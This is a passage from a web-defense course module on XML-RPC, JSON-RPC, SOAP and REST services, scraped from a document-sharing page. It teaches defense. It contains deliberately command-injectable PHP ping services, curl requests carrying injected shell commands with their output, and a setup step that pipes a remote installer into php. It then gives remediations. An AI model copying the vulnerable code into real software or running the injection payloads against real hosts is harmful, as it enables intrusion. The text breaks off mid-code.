0% found this document useful (0 votes)
17 views94 pages

11 Web Services

Uploaded by

es169371
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
17 views94 pages

11 Web Services

Uploaded by

es169371
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 94

PRACTICAL WEB DEFENSE COURSE MODULE

11

WEB SERVICES
PRACTICAL WEB DEFENSE COURSE

Web Services
Author • Abraham Aranguren
Technical Editor • Giuseppe Trotta
Document version • 1.0
Last update • Friday, November 15, 2013

eLearnSecurity 2013 ©

All rights reserved. No part of this document may be reproduced in any form or by any electronic or
mechanical means, including information storage and retrieval systems, without written permission
from the publisher, except in the case of a reviewer, who may quote brief passages embodied in
critical articles or in a review.

eLearnSecurity s.r.l.
36,38 Via Matteucci
Pisa, ITALY 56124
P W D / P R A C T I C A L W E B D E F E N S E

1. TABLE OF CONTENTS
INTRODUCTION 1
1. XML-RPC BASICS 6
1.1 INTRODUCTION 6
1.2 BASIC XML-RPC USAGE 7
1.3 FINGERPRINTING XML-RPC WEB SERVICES 8
Finding XML-RPC web services 8
Enumerating available methods via listMethods 9
Learning more about a method via methodHelp and methodSignature 10
1.4 ATTACKING XML-RPC WEB SERVICES 12
1.5 XML-RPC DEFENSE GUIDELINES 15
2. JSON-RPC BASICS 19
2.1 INTRODUCTION 19
2.2 BASIC JSON-RPC USAGE 19
2.3 FINGERPRINTING JSON-RPC WEB SERVICES 21
2.4 ATTACKING JSON-RPC WEB SERVICES 22
2.5 JSON-RPC DEFENSE GUIDELINES 24
3. SOAP BASICS 30
3.1 INTRODUCTION 30
3.2 BASIC SOAP USAGE 30
3.3 FINGERPRINTING SOAP WEB SERVICES 32
Finding SOAP web services 32
Enumerating available methods via WSDL 33
3.4 ATTACKING SOAP WEB SERVICES 36
3.5 SOAP DEFENSE GUIDELINES 38
4. REST BASICS 44
4.1 INTRODUCTION 44
4.2 BASIC REST USAGE 46
4.3 FINGERPRINTING REST WEB SERVICES 46
4.4 ATTACKING REST WEB SERVICES 47
4.5 REST DEFENSE GUIDELINES 47
5. WEB SERVICE INFORMATION GATHERING 51
5.1 INTRODUCTION 51
5.2 WHAT THE PROBLEM IS 51
5.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 52
How to check if your web services are exposed 52
Review available web service methods 52
5.4 HOW CAN I FIX THIS? 54
Require authentication for sensitive functions 54
Disable web service indexing 54
Do not expose the WSDL 55
5.5 FURTHER READING 55
6. SOAP/REST ACTION SPOOFING 56
P W D / P R A C T I C A L W E B D E F E N S E

6.1 INTRODUCTION 56
6.2 WHAT THE PROBLEM IS 57
6.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 57
SOAP spoofing attacks 57
REST action spoofing (HTTP verb tampering) attacks 58
Ambiguity in parameter sources may lead to security bypasses 59
6.4 HOW CAN I FIX THIS? 60
Mitigating SOAPAction spoofing attacks 60
Mitigating REST HTTP verb tampering attacks 60
6.5 FURTHER READING 61
7. XML ATTACKS 62
7.1 INTRODUCTION 62
7.2 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 62
7.3 HOW CAN I FIX THIS? 64
Favor less complex web services 64
Favor JSON over XML 65
Disable External Entity support 65
Disable DOCTYPE Declarations 67
Prefer SAX over DOM XML parsers 68
Validate XML files against schemas 68
Output encode user input before rendering it within XML 68
Validate user input against a while-list on top of everything else 68
Put it all together 69
7.4 FURTHER READING 70
8. FILE UPLOAD ATTACKS 72
8.1 INTRODUCTION 72
8.2 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 72
8.3 HOW CAN I FIX THIS? 74
Do not store user-files in the filesystem 74
Deny webroot write permissions to the web user 74
Validate user-supplied file names using a white-list 75
Validate user-supplied file extensions using a white-list 77
Validate user-supplied file contents using a white-list 78
Validate user-supplied mime types against a white-list 78
If you really need to store files in the filesystem.. 79
Disable script execution on the upload directory 80
Render the file from another domain 80
Render the file using anti-XSS headers 81
Do not render user-supplied input other than the content 81
Scan user uploaded files 82
Put it all together 82
8.4 FURTHER READING 83
9. REPLAY ATTACKS 84
9.1 INTRODUCTION 84
9.2 WHAT THE PROBLEM IS 84
9.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 84
9.4 HOW CAN I FIX THIS? 87
If possible, implement IP filtering 87
If possible, implement authentication and track attempts by user 87
If possible, implement anti-CSRF protections 88
P W D / P R A C T I C A L W E B D E F E N S E

If possible, track the number of requests by IP 88


Put it all together 88
9.5 FURTHER READING 89
P W D / P R A C T I C A L W E B D E F E N S E
INTRODUCTION

I
INTRODUCTION
This module focuses on specific defense tactics against web service attacks.
Web Services are server-side programs that provide an API, or in other words,
functionality that can be easily invoked programmatically.
The API of a Web Service typically facilitates some of the following:
• Integration between applications
For example, application “A” can call functionality from application “B”.
A real world example of this is the Flickr API:
http://www.flickr.com/services/api/
• Separation within an application
For example, a JavaScript front-end retrieves data from a web service without making the user
refresh the full page.
Apache CFX is a real world example of automated JavaScript code generation for web services:
http://cxf.apache.org/docs/javascript-clients.html

Web Services are generally implemented using one of the following approaches:
• XML-RPC
XML-RPC is a remote procedure call (RPC) protocol that uses XML to invoke
functionality, usually over HTTP. This was the first web service protocol, and it
was created in 1998.
The following is an example XML-RPC request sent over HTTP that pings
www.google.com using 2 ICMP packets (indented for readability):

WEB SERVICES - Introduction 1


P W D / P R A C T I C A L W E B D E F E N S E

POST /web_services/xml_rpc/ping_server.php HTTP/1.1


Host: example.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
Content-Length: 226
Accept: text/xml
User-Agent: Zend_XmlRpc_Client

<?xml version="1.0" encoding="UTF-8"?>


<methodCall><methodName>Pinger.Ping</methodName>
<params>
<param>
<value>
<string>www.google.com</string>
</value>
</param>
<param>
<value>
<string>2</string>
</value>
</param>
</params>
</methodCall>

• JSON-RPC
JSON-RPC is a remote procedure call (RPC) protocol that uses JSON to invoke
functionality, usually over HTTP. The first specification was created in 2005.
JSON-RPC is very similar to XML-RPC. However, JSON-RPC provides more
human-readable messages and takes approximately 4 times less space to send the
same message than it would take for XML-RPC (i.e. Please note the Content-
Length header in these equivalent examples).
The following is an example JSON-RPC request sent over HTTP that pings
www.google.com using 2 ICMP packets:

POST http://example.com/web_services/json_rpc/ping_server.php HTTP/1.1


User-Agent: curl/7.26.0
Host: example.com
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded

{"method": "Ping", "params": ["www.google.com", "2"], "id": 1}

WEB SERVICES - Introduction 2


P W D / P R A C T I C A L W E B D E F E N S E

• SOAP
SOAP is a messaging protocol that uses XML to invoke functionality, usually over
HTTP or SMTP. SOAP was originally designed in 1998 and the most widely used
versions are 1.11 (2000) and 1.22 (2007).
SOAP is the successor of XML-RPC and provides much more functionality such
as encryption, digital signatures and routing of SOAP messages among other
features.
SOAP web services may optionally provide a Web Services Definition Language
(WSDL) declaration that specifies how they may be used3.
The following is an example SOAP message sent over HTTP that pings
www.google.com using 2 ICMP packets (indented for readability):

POST /web_services/soap/ping_server.php HTTP/1.1


Host: example.com
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.4.4-14+deb7u4
Content-Type: application/soap+xml; charset=utf-8;
action="http://example.com/web_services/soap/ping_server.php#Ping"
Content-Length: 538

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<ns1:Ping env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding">
<host xsi:type="xsd:string">www.google.com</host>
<num_packets xsi:type="xsd:string">2</num_packets>
</ns1:Ping>
</env:Body>
</env:Envelope>

• WS-BPEL
The Web Services Business Process Execution Language (BPEL, an OASIS
standard4) is an XML language that describes business processes. Among many
other features, BPEL allows defining variables, execution flow, concurrent
processes, error handling, etc. BPEL was first released in 2002.
In essence, BPEL Web Services are SOAP Web Services with additional
functionality to describe and invoke business processes.

1 http://www.w3.org/TR/2000/NOTE-SOAP-20000508/
2 http://www.w3.org/TR/soap12-part1/
3 http://www.w3.org/TR/wsdl
4 http://docs.oasis-open.org/wsbpel/2.0/wsbpel-v2.0.html

WEB SERVICES - Introduction 3


P W D / P R A C T I C A L W E B D E F E N S E

This means that BPEL Web Services may be subject to the same attacks as SOAP
web services as well as business logic flaws.
Because of their overlap with SOAP Web Services and inherent complexity, WS-
BPEL Web Services are beyond the scope of this course. It is important to note
that most BPEL engines are implemented in Java5. Microsoft BizTalk Server6 also
supports BPEL.
Please note that, due to their complexity, WS-BPEL web services may be subject
to all of the SOAP, WSDL, XML and BPEL attacks described in this website:
http://ws-attacks.org/index.php/Main_Page
Please note that all of the security recommendations for SOAP web services in this
chapter also apply to BPEL web services.
• RESTful
REST is not a protocol but rather a set of principles to build web services. Unlike
XML-RPC, JSON-RPC, SOAP and WS-BEPL (all of them being transport
agnostic), REST web services are only meant to be used over HTTP. REST
was first introduced in 20007 but only gained wide adoption a few years later.
REST web services are increasingly popular and many major web service providers
such as Facebook, Google, etc. have deprecated or removed their SOAP web
services in favor of REST.
The Web Service Description Language (WSDL) was extended in version 2.0 to
support REST web services in addition to SOAP89. However, WSDL declarations
are very uncommon in RESTful web services in practice.
Being just a set of principles, REST web services generally use JSON or XML but
any other message transport format such as plain-text is also possible. The
implementation of REST web services will therefore depend on the choices
made by the development team that built the web service.
The following is an example HTTP request sent to a REST web service that pings
www.google.com using 2 ICMP packets:

GET http://example.com/web_services/rest/ping/www.google.com/2 HTTP/1.1


User-Agent: curl/7.26.0
Host: example.com
Accept: */*
Proxy-Connection: Keep-Alive

5 http://en.wikipedia.org/wiki/Comparison_of_BPEL_engines
6 http://msdn.microsoft.com/en-us/library/dd547397%28v=bts.10%29.aspx
7 http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm
8 http://www.w3.org/TR/2007/REC-wsdl20-primer-20070626/
9 http://www.ibm.com/developerworks/webservices/library/ws-restwsdl

WEB SERVICES - Introduction 4


P W D / P R A C T I C A L W E B D E F E N S E

With their different advantages and disadvantages, the reality is that both modern and
legacy web services continue to be implemented and maintained using these major
approaches: XML-RPC, JSON-RPC, SOAP, WS-BPEL and REST.
Please note that web services may be vulnerable to all other attacks covered in this course
in addition to what is covered in this chapter.
It is important to note that web services tend to be complicated to test (for security and in
general), because of this they are often some of the weakest application areas, and this
makes them attractive for attackers. For this reason, when engaging with a penetration
testing company or an internal security team, it is important to facilitate as much
information as possible so that the security test is more likely to be valuable. A great list of
items to discuss between a security testing team/company and a development team can be
found here:

OWASP Testing Guide: Scoping a Web Service Test


• https://www.owasp.org/index.php/Scoping_a_Web_Service_Test_(OWA
SP-WS-001)

WEB SERVICES - Introduction 5


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

1
1. XML-RPC BASICS

1.1 Introduction
In case you are unfamiliar with XML-RPC web services, in this section we will briefly
illustrate how XML-RPC web services work.
For simplicity reasons, we will use the XML-RPC module from Zend Framework10.
In most Linux distributions, you can automatically get the dependencies for zend-xmlrpc
as follows (this allows you to use zend-xmlrpc without having a Zend Framework web
application):

echo "127.0.0.1 example.com" >> /etc/hosts # Set example.com to


localhost (if you didn't before)
mkdir -p /var/www/web_services/xml_rpc # Prepare the expected directory
for the example
cd /var/www/web_services/xml_rpc # Install dependencies in the right
directory
curl -s https://getcomposer.org/installer | php
./composer.phar require zendframework/zend-xmlrpc:2.2.4

NOTE: zendframework/zend-xmlrpc:2.2.4 requires php >= 5.3.3

10 http://framework.zend.com

WEB SERVICES - XML-RPC BASICS 6


P W D / P R A C T I C A L W E B D E F E N S E

1.2 Basic XML-RPC usage


WARNING: We are showing you the same command injection vulnerability for all major
web service types so that you can compare the similarities and differences between web
service types more easily. However, please remember that any vulnerability is
possible in the real world (this will depend on what user input is used for in most
cases), not just command injection. For example, we will see replay, file upload and
XXE vulnerabilities –which can also affect all web service types- later in this chapter.
After dependencies are sorted, we can create a very simple vulnerable XML-RPC web
service called “ping_server.php” like this:

<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us

class Pinger {//dummy class to ping a host


//IMPORTANT: Zend Framework follows type-hinting in PHP comments
for XML-RPC11
//For a full list of XML-RPC data types please see:
http://ws.apache.org/xmlrpc/types.html
/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param string $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Insecure ping
return shell_exec("ping -c" . $num_packets . " " .
$host);//Command Injection here!
}
}

$server = new Zend\XmlRpc\Server();//Instantiates the Zend Framework


XML-RPC server
$server->setClass('Pinger', 'Pinger');//Maps our vulnerable Pinger class
to handle XML-RPC requests
echo $server->handle();//Returns the response for each XML-RPC request

The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this creating an XML-RPC
client, also provided by Zend Framework, which we can save in a file called
ping_client.php:

11 http://framework.zend.com/manual/2.2/en/modules/zend.xmlrpc.server.html

WEB SERVICES - XML-RPC BASICS 7


P W D / P R A C T I C A L W E B D E F E N S E

<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\XmlRpc\Client('http://example.com/web_services/xml_rpc/ping_server.
php');
echo $client->call('Pinger.Ping', array('www.google.com',
'2'));//Consume web service and return the response

We can easily invoke the XML-RPC client using PHP from the command line to verify
that the XML-RPC web service is being consumed correctly (i.e. 2 ping packets are sent to
www.google.com):

php ping_client.php

This outputs the response from the ping command as expected:

PING www.google.com (212.191.236.88) 56(84) bytes of data.


64 bytes from 212.191.236.88: icmp_req=1 ttl=128 time=5.02 ms
64 bytes from 212.191.236.88: icmp_req=2 ttl=128 time=5.28 ms

--- www.google.com ping statistics ---


2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 5.021/5.151/5.282/0.148 ms

1.3 Fingerprinting XML-RPC web services


An attacker without knowledge of the XML-RPC web service may enumerate and
fingerprint the available XML-RPC functionality as follows:

Finding XML-RPC web services

XML-RPC web services may be found observing the web application (i.e. if the web
service is consumed by the web app) and/or triggering (or searching in search engines for)
XML-RPC errors or responses. In our example, if we send an empty XML-RPC request
the response from an XML-RPC web service will show a characteristic
“<methodResponse>” XML-RPC response.

Empty POST request example:

curl http://example.com/web_services/xml_rpc/ping_server.php --data ''

WEB SERVICES - XML-RPC BASICS 8


P W D / P R A C T I C A L W E B D E F E N S E

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse><fault><value><struct><member><name>faultCode</name><val
ue><int>630</int></value></member><member><name>faultString</name><value
><string>Unable to read
request</string></value></member></struct></value></fault></methodRespon
se>

GET request example:

curl http://example.com/web_services/xml_rpc/ping_server.php

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse><fault><value><struct><member><name>faultCode</name><val
ue><int>630</int></value></member><member><name>faultString</name><value
><string>Unable to read
request</string></value></member></struct></value></fault></methodRespon
se>

Enumerating available methods via listMethods

Once the XML-RPC web service has been identified, the next step is to figure out how to
call it. The system.listMethods XML-RPC method name will list all the available
methods in the XML-RPC web service:

curl http://example.com/web_services/xml_rpc/ping_server.php --data


'<methodCall><methodName>system.listMethods</methodName><params></params
></methodCall>'

This returns the full list of available XML-RPC methods in this web service. In our
example, this includes the Pinger.Ping method:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>

<string>system.listMethods</string>
</value>
<value>

WEB SERVICES - XML-RPC BASICS 9


P W D / P R A C T I C A L W E B D E F E N S E

<string>system.methodHelp</string>
</value>
<value>

<string>system.methodSignature</string>
</value>
<value>

<string>system.multicall</string>
</value>
<value>
<string>Pinger.Ping</string>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>

Learning more about a method via methodHelp and methodSignature

The XML-RPC system.methodHelp method will provide some helpful information


about what the XML-RPC web service functionality will do. In our example, Zend
Framework returns the information the developer put in the description of the XML-RPC
method:

curl http://example.com/web_services/xml_rpc/ping_server.php --data


'<?xml version="1.0" encoding="UTF-
8"?><methodCall><methodName>system.methodHelp</methodName><params><param
><value><string>Pinger.Ping</string></value></param></params></methodCal
l>'

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse>
<params>
<param>
<value>
<string>Pings a $host using $num_packets and
returns the command result</string>
</value>
</param>
</params>
</methodResponse>

The XML-RPC system.methodSignature method is called automatically by XML-RPC


clients to determine how to call a web service (including Zend/XmlRpc/Client).

WEB SERVICES - XML-RPC BASICS 10


P W D / P R A C T I C A L W E B D E F E N S E

system.methodSignature is very important because it provides information about


the data types and number of XML-RPC parameters as well as the data type of
what the XML-RPC function will return. In our example, we can see that Pinger.Ping
returns a string, and has two parameters of type string:

curl http://example.com/web_services/xml_rpc/ping_server.php --data


'<?xml version="1.0" encoding="UTF-8"?>
<methodCall><methodName>system.methodSignature</methodName><params><para
m><value><string>Pinger.Ping</string></value></param></params></methodCa
ll>'

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>returnType</name>
<value><string>string</string></value>
</member>
<member>
<name>parameters</name>
<value>
<array>
<data>
<value>
<string>string</string>
</value>
<value>
<string>string</string>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>

WEB SERVICES - XML-RPC BASICS 11


P W D / P R A C T I C A L W E B D E F E N S E

1.4 Attacking XML-RPC web services


Since web services are meant to provide inter-operability between applications, it should
be no surprise that XML-RPC web services can also be consumed directly by any
other tool capable of sending XML-RPC requests. We will illustrate this using curl.
For readability purposes we can first save the following XML-RPC request in a file called
“normal_ping.txt”:

<?xml version="1.0" encoding="UTF-8"?>


<methodCall><methodName>Pinger.Ping</methodName>
<params>
<param>
<value>
<string>www.google.com</string>
</value>
</param>
<param>
<value>
<string>2</string>
</value>
</param>
</params>
</methodCall>

Using this file, our XML-RPC web service works as expected, showing the XML-RPC
response of a single ping to the specified host www.google.com:

curl http://example.com/web_services/xml_rpc/ping_server.php --data


"$(cat 'normal_ping.txt')"

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse><params><param><value><string>PING www.google.com
(212.191.236.84) 56(84) bytes of data.
64 bytes from 212.191.236.84: icmp_req=1 ttl=128 time=5.10 ms
64 bytes from 212.191.236.84: icmp_req=2 ttl=128 time=5.32 ms

--- www.google.com ping statistics ---


2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 5.107/5.213/5.320/0.128 ms
</string></value></param></params></methodResponse>

However, since the host and even the number of packets are not escaped, we can use the
“;” shell character to terminate the ping command and run arbitrary commands, for
example “uname -a”, “uptime” and “id”.

WEB SERVICES - XML-RPC BASICS 12


P W D / P R A C T I C A L W E B D E F E N S E

We can save this in a file called evil_ping.txt:

<?xml version="1.0" encoding="UTF-8"?>


<methodCall><methodName>Pinger.Ping</methodName>
<params>
<param>
<value>
<string>;uname -a;uptime</string>
</value>
</param>
<param>
<value>
<string>1 www.google.com;id</string>
</value>
</param>
</params>
</methodCall>

It is important to note that the attack can now be sent like this (reading POST data from
evil_ping.txt):

curl http://example.com/web_services/xml_rpc/ping_server.php --data


"$(cat 'evil_ping.txt')"

But also like this (sending POST data directly from the command line):

curl http://example.com/web_services/xml_rpc/ping_server.php --data


'<methodCall><methodName>Pinger.Ping</methodName>
<params><param><value><string>;uname -
a;uptime</string></value></param><param><value>
<string>1
www.google.com;id</string></value></param></params></methodCall>'

Let us have a look at the previous vulnerable code snippet:

return shell_exec("ping -c" . $num_packets . " " . $host);//Command


Injection here!

The following table illustrates how the command changes based on the user input
provided:

$num_packets $host Final command

2 www.google.com ping -c 2 www.google.com

1 ;uname - ping -c 1 www.google.com;id;uname -


www.google.com;id a;uptime a;uptime

WEB SERVICES - XML-RPC BASICS 13


P W D / P R A C T I C A L W E B D E F E N S E

The attack will therefore run this command:

ping -c 1 www.google.com;id;uname -a;uptime

This proves that our XML-RPC web service is vulnerable to command injection as can be
seen in the XML-RPC response:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse><params><param><value><string>PING www.google.com
(212.191.236.88) 56(84) bytes of data.
64 bytes from 212.191.236.88: icmp_req=1 ttl=128 time=4.67 ms

--- www.google.com ping statistics ---


1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.678/4.678/4.678/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data) id
Linux k 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
uname -a
22:28:01 up 5 days, 4:49, 13 users, load average: 0.01, 0.06, 0.05
uptime
</string></value></param></params></methodResponse>

This illustrates how user input processing may introduce security issues in XML-RPC web
services similar to those in web applications.

WEB SERVICES - XML-RPC BASICS 14


P W D / P R A C T I C A L W E B D E F E N S E

1.5 XML-RPC defense guidelines


The following guidelines should facilitate defense of XML-RPC web services:
1. Disable DOCTYPE declarations OR use a framework that disables them
XML-RPC web services are based on XML requests/responses and therefore
must parse XML, this means DOCTYPE attack vectors for XEE and XXE
attacks exist.
Zend Framework removed support for DOCTYPE declarations in Zend_XmlRpc
in 2012 to solve this problem:
o Security Advisory
ZF2012-02: Denial of Service vector via XEE injection
http://framework.zend.com/security/advisory/ZF2012-02

2. If possible, implement IP-filtering


In many cases, web services are only meant to be available from a very limited
number of trusted hosts, when this is the case, all requests coming from untrusted
IPs should be rejected. Adding the following to the top of our example
implements this:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

3. If possible, enforce authentication


For cases when the web service requires authentication, such as when the web
service is only intended to be used by a web application hosted on the same
domain, authentication should be enforced, for example:

session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}

VERY IMPORTANT: In this scenario, you should possibly consider anti-


CSRF defenses too (especially in situations where data is modified).
4. If possible, enforce SSL
SSL will provide confidentiality and integrity of communications to and from the
web service, for this reason, SSL should always be used to protect data in transit,
especially when the data being received by or sent from the web service is
sensitive.
5. Use the most limited XML-RPC data type for what you need

WEB SERVICES - XML-RPC BASICS 15


P W D / P R A C T I C A L W E B D E F E N S E

XML-RPC will enforce data-types, this can be leveraged to limit potential for some
attacks, in our example $num_packets should be an XML-RPC integer, not an
XML-RPC string, this will prevent command injection on that parameter. We can
instruct Zend Framework to use the “int” XML-RPC data type for the
$num_packets parameter via type-hinting:

* @param int $num_packets

IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the XML-RPC
data-types) it might.
6. Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}

If a white-list of allowed values is not possible, the next best is a white-list of


allowed characters, we can validate these using regular expressions:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}

7. If user input can be explicitly separated from instructions, do it


In this rule, we are trying to avoid injection attacks, this will depend on what the
web service uses user input for: A SQL query should use bind variables, user input
rendered on HTML should use XSS defenses, etc. In our example, we should use
the most aggressive platform function available to mitigate command injection (i.e.
“escapeshellarg” in PHP):

return shell_exec("ping -c" . escapeshellarg($num_packets) . " " .


escapeshellarg($host));

8. Put it all together

WEB SERVICES - XML-RPC BASICS 16


P W D / P R A C T I C A L W E B D E F E N S E

NOTE: In the real world, if you can use a white-list of values you will probably
not need to validate data against a list of white-listed characters as well. This being
said, redundant security controls do have their place: If somebody comments
or deletes a security control by mistake in a future development phase, the
remaining security controls will hopefully provide enough protection to prevent
exploitation of the vulnerability.
Defenses work best when combined together, the following is our no longer
vulnerable ping XML-RPC web service implementing most of the defenses
described here:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us

class Pinger {//dummy class to ping a host


/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param int $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Insecure ping
//white-list of allowed values
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}
//white-list of allowed characters (check lengths first,
remember ReDoS)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}
return shell_exec("ping -c" .
escapeshellarg($num_packets) . " " . escapeshellarg($host));
}
}

$server = new Zend\XmlRpc\Server();//Instantiates the Zend Framework


XML-RPC server
$server->setClass('Pinger', 'Pinger');//Maps our vulnerable Pinger class
to handle XML-RPC requests

WEB SERVICES - XML-RPC BASICS 17


P W D / P R A C T I C A L W E B D E F E N S E

echo $server->handle();//Returns the response for each XML-RPC request

Our example ping XML-RPC web service remains working as expected but is no
longer vulnerable to command injection. The XML-RPC request needs to be
altered slightly to cater for the int data type:

curl http://example.com/web_services/xml_rpc/ping_server.php --data


'<methodCall><methodName>Pinger.Ping</methodName><params><param><value><
string>www.google.com</string></value></param><param><value><int>1</int>
</value></param></params></methodCall>'

Returns:

<?xml version="1.0" encoding="UTF-8"?>


<methodResponse><params><param><value><string>PING www.google.com
(212.191.236.101) 56(84) bytes of data.
64 bytes from 212.191.236.101: icmp_req=1 ttl=128 time=4.51 ms

--- www.google.com ping statistics ---


1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.510/4.510/4.510/0.000 ms
</string></value></param></params></methodResponse>

WEB SERVICES - XML-RPC BASICS 18


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

2
2. JSON-RPC BASICS

2.1 Introduction
In case you are unfamiliar with JSON-RPC web services, in this section we will briefly
illustrate how JSON-RPC web services work.
For simplicity reasons, we will use the JSON-RPC module from Zend Framework12.
In most Linux distributions, you can automatically get the dependencies for zend-json and
zend-server as follows (this allows you to use these components without having a Zend
Framework web application):

echo "127.0.0.1 example.com" >> /etc/hosts # Set example.com to


localhost (if you didn't before)
mkdir -p /var/www/web_services/json_rpc # Prepare the expected directory
for the example
cd /var/www/web_services/json_rpc # Install dependencies in the right
directory
curl -s https://getcomposer.org/installer | php
./composer.phar require zendframework/zend-json:2.2.4
./composer.phar require zendframework/zend-server:2.2.4

2.2 Basic JSON-RPC usage


WARNING: We are showing you the same command injection vulnerability for all major
web service types so that you can compare the similarities and differences between web
service types more easily. However, please remember that any vulnerability is
possible in the real world (this will depend on what user input is used for in most
cases), not just command injection. For example, we will see replay, file upload and
XXE vulnerabilities –which can also affect all web service types- later in this chapter.

12 http://framework.zend.com

WEB SERVICES - JSON-RPC BASICS 19


P W D / P R A C T I C A L W E B D E F E N S E

After dependencies are sorted, we can create a very simple vulnerable JSON-RPC web
service called “ping_server.php” like this:

<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us

class Pinger {//dummy class to ping a host


//IMPORTANT: Zend Framework follows type-hinting in PHP comments
for JSON-RPC13
/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param string $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Insecure ping
return shell_exec("ping -c" . $num_packets . " " .
$host);//Command Injection here!
}
}

$server = new Zend\Json\Server\Server();//Instantiates the Zend


Framework JSON-RPC server
$server->setClass('Pinger');//Maps our vulnerable Pinger class to handle
JSON-RPC requests
//This web service will provide information about the functionalities
available when receives a GET HTTP request, since most JSON-RPC web
services receive requests over POST, this is quite common:
if ('GET' == $_SERVER['REQUEST_METHOD']) {
// Indicate the URL endpoint, and the JSON-RPC version used:
$server->setTarget('ping_server.php')
->setEnvelope(Zend\Json\Server\Smd::ENV_JSONRPC_2);
